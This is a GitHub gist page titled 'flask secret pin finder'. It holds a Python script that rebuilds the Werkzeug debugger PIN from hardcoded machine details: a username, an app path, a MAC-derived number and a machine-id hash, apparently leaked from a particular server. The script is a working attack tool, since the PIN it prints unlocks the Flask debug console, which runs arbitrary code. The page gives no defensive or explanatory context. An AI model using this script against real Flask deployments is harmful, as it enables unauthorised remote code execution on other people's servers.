Created
April 14, 2020 02:52
-
-
Save po6ix/4365994c11d77f7e7b74ce973bcbd875 to your computer and use it in GitHub Desktop.
flask secret pin finder
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
from itertools import chain | |
probably_public_bits = [ | |
'flaskweb', | |
'flask.app', | |
'Flask', | |
'/usr/local/lib/python3.7/site-packages/flask/app.py', | |
] | |
private_bits = [ | |
'2485410463771', | |
'cf0ba4b49af0063252dc6943557b002fe787baab6d9421be9c14813731e6626b' | |
] | |
h = hashlib.md5() | |
for bit in chain(probably_public_bits, private_bits): | |
if not bit: | |
continue | |
if isinstance(bit, str): | |
bit = bit.encode('utf-8') | |
h.update(bit) | |
h.update(b'cookiesalt') | |
cookie_name = '__wzd' + h.hexdigest()[:20] | |
num = None | |
if num is None: | |
h.update(b'pinsalt') | |
num = ('%09d' % int(h.hexdigest(), 16))[:9] | |
rv =None | |
if rv is None: | |
for group_size in 5, 4, 3: | |
if len(num) % group_size == 0: | |
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') | |
for x in range(0, len(num), group_size)) | |
break | |
else: | |
rv = num | |
print(rv) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment